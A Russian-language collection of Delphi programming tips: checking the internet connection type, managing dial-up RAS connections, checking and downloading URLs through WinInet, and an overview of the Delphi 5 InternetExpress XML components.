Как узнать тип соединения с интернетом?

uses
  WinInet;

const
  MODEM = 1;
  LAN = 2;
  PROXY = 4;
  BUSY = 8;

function GetConnectionKind(var strKind: string): Boolean;
var
  flags: DWORD;
begin
  strKind := '';
  Result := InternetGetConnectedState(@flags, 0);
  if Result then
  begin
    if (flags and MODEM) = MODEM then strKind := 'Modem';
    if (flags and LAN) = LAN then strKind := 'LAN';
    if (flags and PROXY) = PROXY then strKind := 'Proxy';
    if (flags and BUSY) = BUSY then strKind := 'Modem Busy';
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  strKind: string;
begin
  if GetConnectionKind(strKind) then
    ShowMessage(strKind);
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Подключиться к Интернету, определить активные соединения, определить и сохранить параметры соединения

как из Вашей программы подключиться к Интернету, определить активные соединения, определить и сохранить параметры соединения. Все эти функции находятся в rasapi32.dll. Описания этих функций для Delphi есть в модуле res.pas. Его можно скачать на сайте program.dax.ru (14 Кбайт).

Эта программа заполняет ListBox1 всеми соединениями, ListView1 - всеми активными соединениями. При двойном щелчке по соединению в Edit1 и Edi2 кладутся имя пользователя и пароль (если он сохранен). Кнопка "Dial Up" устанавливает соединение, "Save" сохраняет имя пользователя и пароль. "Hang Up" разрывает соединение. "Update Entries" и "Udate Conns" обновляют информацию о соединениях. В том случае, если связь разорвалась сама, для установления соединения необходимо сначала нажать "Hang Up".

Скачать необходимые для компиляции файлы проекта можно на program.dax.ru. Дустапны проекты для Delphi3 и для Delphi5.

uses Ras;

var
  CurrentState: string = '';

{ Эта функция возвращает строку с
  рассшифровкой значений state и error: }
function StateStr(state: TRasConnState; error: longint): string;
var buf: array [0..511] of char; { В рelp-е написано,
                                   что 512 байт хватит всегда }
begin
  if error <> 0 then begin
    case RasGetErrorString(error, @buf, sizeof(buf)) of
      0: result := buf;
      ERROR_INVALID_PARAMETER: result := 'Invalid parameter';
      else result := 'Error code: ' + IntToStr(error);
    end;
  end else case state of
    RASCS_OpenPort: result := 'Opening port';
    RASCS_PortOpened: result := 'Port opened';
    RASCS_ConnectDevice: result := 'Connecting device';
    RASCS_DeviceConnected: result := 'Device connected';
    RASCS_AllDevicesConnected: result := 'All devices connected';
    RASCS_Authenticate: result := 'Start authenticating';
    RASCS_AuthNotify: result := 'Authentication: notify';
    RASCS_AuthRetry: result := 'Authentication: retry';
    RASCS_AuthCallback: result := 'Authentication: callback';
    RASCS_AuthChangePassword: result := 'Authentication: change password';
    RASCS_AuthProject: result := 'Authentication: projecting';
    RASCS_AuthLinkSpeed: result := 'Authentication: link speed';
    RASCS_AuthAck: result := 'Authentication: acknowledge';
    RASCS_ReAuthenticate: result := 'Authentication: reauthenticate';
    RASCS_Authenticated: result := 'Authenticated';
    RASCS_PrepareForCallback: result := 'Preparing for callback';
    RASCS_WaitForModemReset: result := 'Waiting for modem reset';
    RASCS_WaitForCallback: result := 'Waiting for callback';
    RASCS_Projected: result := 'Projected';
    RASCS_StartAuthentication: result := 'Start authentication';
    RASCS_CallbackComplete: result := 'Callback complete';
    RASCS_LogonNetwork: result := 'Logging on network';

    RASCS_Interactive: result := 'Interactive';
    RASCS_RetryAuthentication: result := 'Retry Authentication';
    RASCS_CallbackSetByCaller: result := 'Callback set by caller';
    RASCS_PasswordExpired: result := 'Password expired';

    RASCS_Connected: result := 'Connected';
    RASCS_Disconnected: result := 'Disconnected';
    else result := 'Unknown state';
  end;
end;

// Заполнение s всеми соединениями:
procedure FillEntries(s: TStrings);
var
  EntryCount, bufsize: longint;
  entries: LPRasEntryName;
  i: integer;
begin
  s.Clear;
  s.BeginUpdate;
  bufsize := 0;
  // Определение количества соединений:
  RasEnumEntries(nil, nil, nil, bufsize, EntryCount);
  if EntryCount > 0 then begin
    // Выделение памяти под информацию о соединениях:
    GetMem(entries, bufsize);
    FillChar(entries^, bufsize, 0);
    entries^.dwSize := sizeof(TRasEntryName);
    // Получение информации о соединениях:
    RasEnumEntries(nil, nil, entries, bufsize, EntryCount);
    // Заполнение s названиями соединений:
    for i := 0 to EntryCount - 1 do begin
      s.Add(entries^.szEntryName);
      inc(entries);
    end;
    // Освобождение памяти:
    dec(entries, EntryCount);
    FreeMem(entries);
  end;
  s.EndUpdate;
end;

// Заполнение items всеми активными соединениями:
procedure FillConnections(items: TListItems);
var
  conns: LPRasConn;
  ConnCount, bufsize: longint;
  li: TListItem;
  i: integer;
  status: TRASCONNSTATUS;
begin
  items.BeginUpdate;
  items.Clear;
  bufsize := 0;
  // Определение количества активных соединений:
  RasEnumConnections(nil, bufsize, ConnCount);
  if ConnCount > 0 then begin
    // Выделение памяти:
    GetMem(conns, bufsize);
    conns^.dwSize := sizeof(TRasConn);
    // Заполнение conns информацией об активных соединениях:
    RasEnumConnections(conns, bufsize, ConnCount);
    status.dwSize := sizeof(TRasConnStatus);
    // Заполнение items названиями соединений:
    for i := 0 to ConnCount - 1 do begin
      li := items.Add;
      li.Data := pointer(conns^.hrasconn);
      li.Caption := conns^.szEntryName;
      li.SubItems.Add(conns^.szDeviceType);
      li.SubItems.Add(conns^.szDeviceName);
      RasGetConnectStatus(conns^.hrasconn, status);
      li.SubItems.Add(StateStr(status.rasconnstate, status.dwError));
      inc(conns);
    end;
    // Освобождение памяти:
    dec(conns, ConnCount);
    FreeMem(conns);
  end;
  items.EndUpdate;
end;

{ Процедура разрывает соединение и
  дожидается завершения операции: }
procedure HangUpAndWait(conn: integer);
var
  status: TRasConnStatus;
begin
  RasHangUp(conn); // Разрыв соединения
  status.dwSize := sizeof(TRasConnStatus);
  // Ожидание уничтожения соединения:
  repeat
    Application.ProcessMessages;
    sleep(0);
  until RasGetConnectStatus(conn, status) = ERROR_INVALID_HANDLE;
end;

{ Эта процедура будет вызываться при любых изменениях в
  соединении: }
procedure RasNotifier(msg: integer; state: TRasConnState;
  error: Cardinal); stdcall;
begin
  CurrentState := StateStr(state, error);
  Form1.ListBox2.Items.Add(CurrentState);
  // Обновление информации об актывных соединениях:
  FillConnections(Form1.ListView1.Items);
  if error <> 0 then begin
    Form1.Timer1.Enabled := false;
    Form1.Caption := CurrentState;
  end else begin
    Form1.Timer1.Enabled := false;
    Form1.Timer1.Enabled := true;
    Form1.Timer1.Tag := 0;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  { Установка свойств компонентов (может быть реализована
    через ObjectInspector: }
  Timer1.Enabled := false;
  Button1.Caption := 'Update Entries';
  Button2.Caption := 'Update Conns';
  Button3.Caption := 'Hang Up';
  Button4.Caption := 'Dial Up';
  Button5.Caption := 'Save';
  ListView1.ViewStyle := vsReport; // Вид таблицы
  // Добавление колонок:
  ListView1.Columns.Add.Caption := 'Name';
  ListView1.Columns.Add.Caption := 'Device Type';
  ListView1.Columns.Add.Caption := 'Device Name';
  ListView1.Columns.Add.Caption := 'State';
  // Заполнение компонентов информацией:
  FillEntries(ListBox1.Items);
  FillConnections(ListView1.Items);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  // Обновление списка соединений:
  FillEntries(ListBox1.Items);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  // Обновление информации об актывных соединениях:
  FillConnections(ListView1.Items);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  { Если соединений нет - выход, если одно - выделить его, если
    несколько, но ни одно не выделено - выход }
  case ListView1.Items.Count of
    0: Exit;
    1: ListView1.Selected := ListView1.Items[0];
    else if ListView1.Selected = nil then Exit;
  end;
  // Разрыв соединения:
  HangUpAndWait(longint(ListView1.Selected.Data));
  // Обновление информации об актыв  FillConnections(ListView1.Items);
end;

procedure TForm1.Button4Click(Sender: TObject);
var
  params: TRasDialParams;
  hRas: THRasConn;
begin
  if ListBox1.ItemIndex < 0 then Exit;
  ListBox2.Clear;

  // Заполнение params
  FillChar(params, sizeof(TRasDialParams), 0);
  params.dwSize := sizeof(TRasDialParams);
  StrPCopy(params.szEntryName, ListBox1.Items[ListBox1.ItemIndex]);
  StrPCopy(params.szUserName, Edit1.Text);
  StrPCopy(params.szPassword, Edit2.Text);
  // Установка связи:
  RasDial(nil, nil, params, 0, @RasNotifier, hRas);
end;

procedure TForm1.Button5Click(Sender: TObject);
var params: TRasDialParams;
begin
  // Сохранение имени пользователя и пароля:
  params.dwSize := sizeof(TRasDialParams);
  StrPCopy(params.szEntryName, ListBox1.Items[ListBox1.ItemIndex]);
  StrPCopy(params.szUserName, Edit1.Text);
  StrPCopy(params.szPassword, Edit2.Text);
  RasSetEntryDialParams(nil, params, false);
end;

procedure TForm1.ListBox1DblClick(Sender: TObject);
var
  params: TRasDialParams;
  passw: longbool;
begin
  if ListBox1.ItemIndex < 0 then Exit;
  // Определение имени пользователя и пароля:
  fillchar(params, sizeof(TRasDialParams), 0);
  params.dwSize := sizeof(TRasDialParams);
  StrPCopy(params.szEntryName, ListBox1.Items[ListBox1.ItemIndex]);
  RasGetEntryDialParams(nil, params, passw);
  Edit1.Text := params.szUserName;
  if passw then begin
    // Пароль доступен
    Edit2.Text := params.szPassword;
    Button4.SetFocus;
  end else begin
    // Пароль не доступен
    Edit2.Text := '';
    Edit2.SetFocus;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  { Если действие происходит дольше секунды - в заголовок окна
    помещается информация о действии и время, которое оно
    происходит }
  Form1.Caption := CurrentState + ' - ' + IntToStr(Timer1.Tag);
  Timer1.Tag := Timer1.Tag + 1;
end;

Взято с http://delphiworld.narod.ru


Как проверить существование URL?

Данная функция позволяет Вам проверить существование определённого адреса(URL) в интернете. Естественно она может пригодиться веб-мастерам, у которых на сайте много ссылок, и необходимо с определённой периодичнойстью эти ссылки проверять.

URL может быть как с префиксом http:/ так и без него - эта функция добавляет префикс http:// если он отсутствует (необходимо для функции internetOpenUrl которая так же поддерживает FTP:// и gopher://

Эта функция проверяет только два возвращаемых кода '200'(ОК) или '302' (Редирект), но Вы можете заставить проверять функцию и другие коды. Для этого достаточно модифицировать строчку "result := ".

Платформа: Delphi 3.x (или выше)

uses wininet;

function CheckUrl(url: string): boolean;
var
  hSession, hfile, hRequest: hInternet;
  dwindex, dwcodelen: dword;
  dwcode: array[1..20] of char;
  res: pchar;
begin
  if pos('http://', lowercase(url)) = 0 then
    url := 'http://' + url;
  Result := false;
  hSession := InternetOpen('InetURL:/1.0',
    INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  if assigned(hsession) then
    begin
      hfile := InternetOpenUrl(
        hsession,
        pchar(url),
        nil,
        0,
        INTERNET_FLAG_RELOAD,
        0);
      dwIndex := 0;
      dwCodeLen := 10;
      HttpQueryInfo(hfile, HTTP_QUERY_STATUS_CODE,
        @dwcode, dwcodeLen, dwIndex);
      res := pchar(@dwcode);
      result := (res = '200') or (res = '302');
      if assigned(hfile) then
        InternetCloseHandle(hfile);
      InternetCloseHandle(hsession);
    end;
end;
Взято из http://forum.sources.ru


Как скачать любой URL используя стандартные настройки сети?

Начиная с Internet Explorer 3, Microsoft поддерживает очень полезные API, Wininet. Эти функции позволяют использовать все возможности IE, такие как настройки прокси, кэширование файлов и т.д.

Ниже приведён пример использования этих функций для скачивания файла с нужного URL. Это может быть любой доступный URL, ftp://, http://, gopher://, и т.д.

Более подробную информацию об этих функция можно посмотреть в MSDN - Win32 Internet API Functions.

function DownloadFile(const Url: string): string;
var
  NetHandle: HINTERNET;
  UrlHandle: HINTERNET;
  Buffer: array[0..1024] of char;
  BytesRead: cardinal;
begin
  Result := '';
  NetHandle := InternetOpen('Delphi 5.x', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

  if Assigned(NetHandle) then
    begin

      UrlHandle := InternetOpenUrl(NetHandle, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);

      if Assigned(UrlHandle) then
{ UrlHandle правильный? Начинаем загрузку }
        begin
          FillChar(Buffer, SizeOf(Buffer), 0);
          repeat
            Result := Result + Buffer;
            FillChar(Buffer, SizeOf(Buffer), 0);
            InternetReadFile(UrlHandle, @Buffer, SizeOf(Buffer), BytesRead);
          until BytesRead = 0;
          InternetCloseHandle(UrlHandle);
        end
      else
        begin
{ UrlHandle неправильный. Генерируем исключительную ситуацию. }
          raise Exception.CreateFmt('Cannot open URL %s', [Url]);
        end;

      InternetCloseHandle(NetHandle);
    end
  else
{ NetHandle недопустимый. Генерируем исключительную ситуацию }
    raise Exception.Create('Unable to initialize Wininet');
end;
Взято из http://forum.sources.ru


Обзор компонентов InternetExpress

Аннотация

Среди новых возможностей Delphi5 одной из наиболее заметных является технология InternetExpress - средство публикации и обработки данных в Internet на основе технологии MIDAS. InternetExpress представляет собой набор компонентов, позволяющих реализовать полный цикл клиент-серверной обработки данных на базе Internet с использованием как уже имевшихся в распоряжении разработчиков на Delphi средств (создание Internet-приложений на основе ISAPI/NSAPI, ASP и CGI), так и новых средств, например стандарта XML (eXtended Markup Language - дальнейшего развития стандарта HTML, позволяющего реализовать объектный подход к созданию Internet-контента и структурированную передачу и обработку данных через Internet).

В данной публикации производится обзор технологии InternetExpress, а также приводится пример простейшего решения обработки данных с использованием Internet.

Краткое описание технологии InternetExpress

До недавнего времени решения на основе MIDAS можно было задействовать в Internet, создав MIDAS-клиент на Java и используя в качестве транспорта данных протокол IIOP. В Delphi 5 появилась возможность для передачи данных пакеты XML (XML data packets), что автоматически сделало пакеты данных MIDAS частью открытого стандарта

В InternetExpress используются средства поддержки XML из MIDAS 3. Поскольку в настоящее время даже лидеры среди Internet-броузеров (Netscape Navigator и Microsoft Internet Explorer) не поддерживают (или поддерживают частично) представление данных по стандарту XML, в InternetExpress реализована специальная технология поддержки XML на основе JavaScript и DHTML, позволяющая использовать InternetExpress даже с теми броузерами, которые вообще не имеют поддержки XML. В частности, для экспериментов с InternetExpress были использованы Netscape Navigator 4.61 и Internet Explorer 4.01, для которых поддержка XML не была реализована. В IE 5.0 уже встроена поддержка XML, поэтому большинство решений на основе этого стандарта требуют для работы наличия этого броузера, что, конечно, далеко не всегда желательно и (или) возможно.

Кстати, если приложение InternetExpress работает с IE 5, то порождаемый XML-пакет будет специальным образом оптимизироваться.

В броузерах, не имеющих встроенной поддержки XML, пакеты данных в этом формате разбираются с использованием специального модуля JavaScript (xmldom.js), который реализует спецификацию DOM (Document Object Model), позволяющую создавать HTML-клиенты для обработки данных на базе обычных web-серверов. Серверные приложения разрабатываются с использованием таких спецификаций взаимодействия с web-сервером, как ISAPI/NSAPI, CGI и ASP, которые позволяют канализировать запросы к данным и сами данные между клиентами и сервером приложений MIDAS

Компоненты InternetExpress

С точки зрения VCL (Visual Components Library, библиотеки визуальных компонент) InternetExpress представляет собой две компоненты базового набора: TXMLBroker и TMIDASPageProducer. TXMLBroker отвечает собственно за формирование XML-пакета, реакцию на изменения в данных и оповещение о действиях, выполняемых клиентом. TMIDASPageProducer отвечает за формирование сборного DHTML-документа, который, собственно, и является клиентским приложением, поскольку содержит все те визуальные элементы, которые соответствуют структуре пакета данных XML. В этот документ передаются XML-пакеты, формируемые компонентом XMLBroker. В тот момент, когда от клиентского приложения приходит сообщение о необходимости передать изменения в данных на сервер приложений, TMIDASPageProducer осуществляет опрос каждого из элементов управления HTML, формирует пакет с данными, подлежащими обновлению и передает их серверу приложений. Таким образом, обработка данных на клиенте происходит с использованием средств HTML, а передача структурированных данных к клиенту и изменений от него - при помощи пакетов данных XML.

Эти компоненты помещаются в web-модуль (WebModule) серверного приложения, для создания которого может быть использован специальный мастер (File->New->Web Server Application).

WebModule является наследником TDataModule и обладает некоторыми дополнительными возможностями по сравнению с базовым классом, которые позволяют обмениваться данными с Web-клиентами. В дополнение к базовому набору InternetExpress имеется несколько компонентов, например TReconcilePageProducer, которые устанавливаются из дополнительных пакетов (packages), входящих в поставку Delphi, и, конечно, существует возможность наследования базовых классов и создания на их основе собственных компонентов с расширенными возможностями.

Помимо визуальных компонентов InternetExpress состоит из ряда классов и интерфейсов, которые будут рассмотрены в разделе "Обзор компонентов InternetExpress".

Пакеты данных XML

Пакеты данных XML используются InternetExpress как транспортные контейнеры для передачи данных от серверной части приложения к клиентской и обратно. В качестве примера можно привести пакет данных, сформированный демонстрационным приложением, описываемым далее в этом обзоре:

<DATAPACKET Version="2.0">
<METADATA>
<FIELDS>
<FIELD fieldname="Species No" attrname="Species_No" fieldtype="r8"/>
<FIELD attrname="Category" fieldtype="string" WIDTH="15"/>
<FIELD attrname="Common_Name" fieldtype="string" WIDTH="30"/>
<FIELD fieldname="Species Name" attrname="Species_Name" fieldtype="string"
WIDTH="40"/>
<FIELD fieldname="Length (cm)" attrname="Length__cm_" fieldtype="r8"/>
<FIELD attrname="Length_In" fieldtype="r8"/>
<FIELD attrname="Notes" fieldtype="bin.hex" WIDTH="50" SUBTYPE="Text"/>
<FIELD attrname="Graphic" fieldtype="bin.hex" SUBTYPE="Graphics"/>
</FIELDS>
<PARAMS DEFAULT_ORDER="1" PRIMARY_KEY="1" LCID="1033"/>
</METADATA>
<ROWDATA>
<ROW Species_No="90020" Category="Triggerfish" Common_Name="Clown Triggerfish"
Species_Name="Ballistoides conspicillum" Length__cm_="50"
Length_In="19.68503937007874" Notes="Also known as the big spotted triggerfish.
Inhabits outer reef areas and feeds upon crustaceans and mollusks by crushing
them with powerful teeth. They are voracious eaters, and divers report seeing
the clown triggerfish devour beds of pearl oysters.&#010;&#010;Do not eat
this fish. According to an 1878 account, &quot;the poisonous flesh acts
primarily upon the nervous tissue of the stomach, occasioning violent spasms
of that organ, and shortly afterwards all the muscles of the body. The frame
becomes rocked with spasms, the tongue thickened, the eye fixed, the breathing
laborious, and the patient expires in a paroxysm of extreme suffering.
&quot;&#010;&#010;Not edible.&#010;&#010;Range is Indo-Pacific
and East Africa to Somoa.&#010;"/>
<ROW Species_No="90030" Category="Snapper" Common_Name="Red Emperor"
Species_Name="Lutjanus sebae" Length__cm_="60" Length_In="23.62204724409449"
Notes="Called seaperch in Australia. Inhabits the areas around lagoon coral
reefs and sandy bottoms.&#010;&#010;The red emperor is a valuable food
fish and considered a great sporting fish that fights with fury when hooked.
The flesh of an old fish is just as tender to eat as that of the very young.
&#010;&#010;Range is from the Indo-Pacific to East Africa.&#010;"/>
</ROWDATA>
</DATAPACKET>

Структура пакета данных XML

Как видно из приведенного выше фрагмента, пакет данных XML содержит необходимое описание структуры данных (секция ), а также собственно данные, разбитые на строки (), которые, в свою очередь, содержат ссылки на имена столбцов и собственно данные для каждой из ячеек таблицы данных (или ее части), которую, собственно, и представляет собой пакет данных XML.

В том случае, если пакет представляет собой разностный пакет данных XML (XML delta packet), в строку PARAMS метаданных добавляется фрагмент вида DATASET_DELTA="1", то есть строка PARAMS будет выглядеть следующим образом:

<METADATA>
<FIELDS>
...
</FIELDS>
<PARAMS DEFAULT_ORDER="1" PRIMARY_KEY="1" LCID="1033" DATASET_DELTA="1"/>
</METADATA>
<ROWDATA>
...
</ROWDATA>
</DATAPACKET>

Структура разностного пакета данных XML

Серверная часть Internet-приложения на основе InternetExpress

Серверная часть такого приложения состоит из исполняемого модуля, написанного в данном случае на Delphi 5, и включающего WebModule, упомянутый выше, а также файлов-библиотек JavaScript, которые в случае отсутствия поддержки XML броузером передаются на сторону клиента, а именно:

Библиотека Назначение
xmldom.js XML-парзер, соответствующий стандарту DOM, написанный на JavaScript. Позволяет броузерам использовать пакеты данных XML не имея встроенной поддержки этого стандарта. Для IE5 этот файл не передается, а XML-пакет специальными образом оптимизируется.
xmldb.js Библиотека классов доступа к данным, обслуживающая пакеты данных XML.
xmldisp.js Библиотека описания связей между классами доступа к данным в xmldb.js и элементами HTML.
xmlerrdisp.js Библиотека классов для обработки конфликтных ситуаций при внесении изменений в данные. Использует пакет разности данных (XML delta packet) и пакет ошибок (XML error packet).
xmlshow.js Библиотека функций для отображения окон с данными XML.

Таблица 1. Библиотеки JavaScript, входящие в состав серверной части приложения InternetExpress

Примечание:

Для того, чтобы серверная часть приложения InternetExpress корректно обслуживала клиентов без поддержки XML, эти библиотеки (по умолчанию) должны быть размещены в том же каталоге, что и исполняемый модуль серверной части приложения, или же для каждого из компонентов типа TMIDASPageProducer и его наследников свойство IncludePathURL должно указывать место расположения этих файлов (в относительном или полном формате), например /iexpress/, как в демонстрационном примере к данной статье.

Для того, чтобы вышеперечисленные библиотеки были переданы клиентской стороне и задействованы там, достаточно просто включить соответствующие ссылки на них в HTML-документ:

<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript" SRC="xmldom.js"></SCRIPT>
<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript" SRC="xmldb.js"></SCRIPT>
<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript" SRC="xmldisp.js"></SCRIPT>
<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript" SRC="xmlshow.js"></SCRIPT>
<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript" SRC="xmlerrdisp.js"></SCRIPT>

Примечание:

ссылка на xmldom.js требуется только в том случае, если броузер не имеет встроенной поддержки XML.

Клиентская часть приложения InternetExpress

Клиентская часть приложения на основе InternetExpress представляет собой собственно HTML-документ, порожденный одним или более компонентами типа (или его наследниками) TMIDASPageProducer, исполняемый (интерпретируемый) тем или иным броузером. Как уже было сказано выше, этот документ может содержать элементы отображения и управления, соответствующие структуре пакета данных XML. К ним также могут добавляться элементы управления, формирующие HTML-аналог DBnavigator из состава Delphi VCL в том случае, если соответствующие параметры были заданы при настройке PageProducer, а также другие элементы управления HTML, как связанные с обработкой данных, так и составляющие независимые части интерфейса, например группу для ввода имени пользователя и пароля с целью авторизации доступа к данным системы.

Схема работы приложения InternetExpress

В целом, схема работы приложения на основе InternetExpress выглядит следующим образом:

Броузер обращается по ссылке (URL) к серверному приложению InternetExpress, которое возвращает HTML-документ, являющийся, как правило, некой отправной точкой в алгоритме обработки данных.
По запросу пользователя серверное приложение сначала возвращает очередной HTML-документ, содержащий (при необходимости) ссылки на библиотеки JavaScript, отвечающие за обработку XML-пакетов, а затем уже этот документ посылает запрос серверной части приложения, которая затем посылает клиенту данные в виде пакетов XML, интерпретируемых соответствующими библиотеками JavaScrip.
После того, как пользователь просмотрел набор данных и, при необходимости, внес в них изменения, он имеет возможность передать изменения серверной части приложения. Это процесс запускается событием, которое, как правило, связано с "кнопкой" "Apply Updates" (Внести изменения) и передается серверной части приложения InternetExpress, а именно - компоненту TMIDASPageProducer. Все изменения в данных передаются серверной части приложения в виде разностных пакетов XML (XML delta packets).
Серверная часть получает информацию об изменениях в данных и использует сервер приложений для внесения этих изменений в базу данных. При возникновении конфликта (reconcile error) имеется возможность сформировать HTML-вариант Reconcile Dialog из состава Delphi или разрешить конфликтную ситуацию автоматически, включив компонент TReconcilePageProducer в состав серверной части приложения
Обзор компонентов InternetExpress

Компонент TMIDASPageProducer

Данный компонент отвечает за сборку HTML-документа, отображающего "живой" набор данных, получаемый от сервера приложений, или же "типового" HTML-документа, не осуществляющего обработку данных вообще. Компонент может быть использован для создания Web-приложений на основе MIDAS, которые будут отображать информацию, содержащуюся в базе данных, получая ее через сервер приложений, и передавать ее HTML-клиентам в пакетах данных XML. Реализация компонента находится в модуле (unit) dsprod

При создании Web-модуля ссылка на один из таких компонентов (свойство Producer) должна быть выставлена у соответствующих элементов TWebActionItem.

TMIDASPageProducer создает HTML-документ на основе шаблона. В отличие от других компонентов типа Producer, этот компонент имеет шаблон "по умолчанию" (default), в котором содержатся несколько описаний верхнего уровня, на основе которых в других компонентах порождаются HTML-документы. Помимо шаблонов содержание конечного документа может быть сгенерировано на основе данных, порождаемых другими компонентами, добавленными в Web-модуль, получено от другого компонента TMIDASPageProducer через свойство TMIDASPageProducer.Content и так далее

Примечание:

Связывание HTML-элементов с пакетами данных XML и обработчиками событий HTTP в TMIDASPageProducer осуществляется исключительно по именам HTML-объектов и соответствующих событий, за счет чего становится возможным редактировать сгенерированный HTML-шаблон любым из средств работы с HTML-документами, придавая ему необходимый внешний вид и дополняя логику обработки данных вставками JavaScript, поскольку даже при изменении свойств объектов, порожденных встроенным редактором TMIDASPageProducer, внесенные другими средствами изменения потеряны не будут. В демонстрационном приложении, описываемом ниже в шаблон HTML-документа был изменен с целью добавить заголовок страницы с данными.

Расширение функциональности обработчика шаблонов (свойство TMIDASPageProducer.HTMLdoc) возможно за счет реализации обработчика события TMIDASPageProducer.OnHTMLtag или перекрытия метода TMIDASPageProducer.DoTagEvent. Реализовав свою собственную версию обработчика этого события вы получаете возможность использовать в теле шаблона документа собственные тэги, заменяя их на этапе генерации HTML-документа соответствующими значениями. Пример такого подхода показан в демонстрационном приложении InetXCenter из состава Delphi 5 (модуль InetXCenterProd.pas).

И конечно, возможности InternetExpress можно практически неограниченно расширять, реализуя специальные компоненты-наследники от TMIDASPageProducer и компонентов, используемых для формирования содержимого документа (TDataForm, TQueryForm и так далее). Создавая на их основе специализированные компоненты, вы получаете возможность максимально упростить создание конечного решения на основе InternetExpress за счет реализации специфических возможностей, необходимых вашему Internet-приложению. Например, в демонстрационном приложении InetXCenter за счет создания наследника от компонента TMIDASPageProducer реализованы такие возможности, как генерация таких полей заголовка HTML-документа, как , задание комментариев и описаний, автоматически подставляемых в конечный HTML-документ и другие расширения базового компонента.

Описание компонента TMIDASPageProducer

Поскольку TMIDASPageProducer (TCustomMIDASPageProducer) является собственно генератором содержания HTML-документа, в его описание входит интерфейс IWebContent, который, собственно, это содержание и предоставляет. Заголовок соответствующего класса выглядит следующим образом:

TCustomMIDASPageProducer = class(TPageItemProducer, IWebContent,
IWebComponentEditor, IScriptEditor)

Помимо IWebContent в описании класса участвуют еще два интерфейса: IWebComponentEditor и IScriptEditor, которые, соответственно, являются средствами связи с design-time редактором для компонентов типа TWebComponent и HTML-кода.

Свойство Назначение
HTMLDoc Собственно базовый шаблон, содержащий включения (includes) описателей содержания
HTMLFile Аналогично HTMLDoc, но с привязкой к файлу
IncludePathURL Путь к библиотекам JavaScript (в формате URL). Может быть как полный (http://someserver/iexpress/), т.е. с указанием имени сервера и так далее, так и относительный (/iexpress/).
Styles Описание стилей "по умолчанию" для генерации HTML-документа. Это свойство является аналогом файла стилей, используемого для создания канонических Web-страниц
StylesFile Аналогично Styles, но с привязкой к файлу стилей
WebPageItems Список специальных компонентов, определяющих ключевые элементы документа. Основные типы PageItem включают: DataForm, QueryForm и LayoutGroup. Каждый из базовых компонентов TWebPageItem может иметь вложенные компоненты. Например, для DataForm могут иметься DataGrid, DataNavigator и так далее

Ключевые свойства компонента TMIDASPageProducer

Комбинация компонентов TDataForm, TQueryForm и так далее, определяет структуру и основные параметры отображения HTML-документа, стили же (цвета, шрифты и так далее) определяются свойствами Styles и HTMLDoc.

Другие свойства компонента подробно описаны в документации и файле Справки Delphi.

Следует отметить, что за счет использования для определения состава элементов HTML-документа стандартных компонентов, поставляемых в исходных текстах, становится возможным практически неограниченное расширение функциональных возможностей InternetExpress путем создания специализированных наборов компонент для построения Internet-приложений. Примеры подобного подхода можно найти в демонстрационном приложении InetXCenter из поставки Delphi 5.

Компонент TWebActionItem

TWebActionItem представляет собой невизуальный компонент, позволяющий задавать реакцию Internet-приложения на те или иные события, транслируемые протоколом HTTP от web-клиента. Предоставляя специальные свойства для задания ссылок на компоненты TMIDASPageProducer и TPageProducer, а также пути URL, TWebActionItem дает возможность задавать алгоритм перемещения между HTML-документами, составляющими Internet-приложение, реагировать на передачу параметров и значений полей HTML-документа специфическим образом и так далее. Реализуя обработчик события TWebActionItem.OnAction, программист получает возможность возвращать необходимые данные в полях запросов, устанавливать идентификационные маркеры (Cookies) для Web-клиентов, контролировать генерацию содержания HTML-документов и выполнять ряд других операций практически на самом нижнем уровне функционирования Internet-приложения

Свойство Назначение
Default Означает использование этого компонента как обработчика событий соответствующих типов (свойство MethodType) в тех случаях, когда иной обработчик явно не задан.Из всех компонентов TWebActionItem, присутствующих в контейнере TWebModule, только один может иметь свойство Default равным True
DisplayName Служит для задания отображения компонента в списке компонента TCustomWebDispatcher. Должно быть уникальным для своего контекста.
Enabled Аналогично многим другим компонентам означает разрешение или запрет на выполнение связанных с компонентом действий. В случае установки в False содержимое HTML-документа соответствующим компонентом типа PageProducer генерироваться не будет
MethodType Определяет метод HTTP, при вызове которого со стороны web-клиента будет задействован данный компонент. По умолчанию имеет значение mtAny, то есть все доступные методы, но может принимать значения отдельных типов, например mtGet (запрос на получение web-клиентом содержимого документа).
PathInfo В формате URI (Unified Resource Identifier) задает путь к получателю всех сообщений, принимаемых TWebActionItem. Позволяет перенаправить очередь сообщений другому компоненту PageProducer или HTML-документу.
Producer Ссылка на компонент PageProducer. В случае, если компонент явно не задан, обработчик OnAction должен быть реализован в обязательном порядке для осуществления реакции на сообщение. Если ссылка на PageProducer актуальна (не nil), сообщение обрабатывается или PageProducer, или реализацией OnAction в случае ее наличия

Ключевые свойства компонента TWebActionItem

Примеры использования свойств TWebActionItem можно найти в демонстрационном приложении InetXCenter (модуль InextXCenterModule.pas).

Невизуальные компоненты категории PageItems (элементы HTML-документа)

Компоненты PageItems предназначены для формирования структуры HTML-документа. Точно так же, как и компоненты VCL, они подразделяются на средства отображения типовых элементов HTML-документа и элементов для обработки данных, получаемых от сервера приложений. Для каждого из этих компонентов могут быть созданы наследники, расширяющие их свойства или реализующие те элементы HTML, эквивалента которым нет в текущей реализации InternetExpress. Реализация компонентов PageItems находится в модуле MidItems. При построении HTML-документа компоненты PageItems объединяются в иерархические структуры. Например, компонент TDataNavigator содержит компоненты типа TDataSetButton

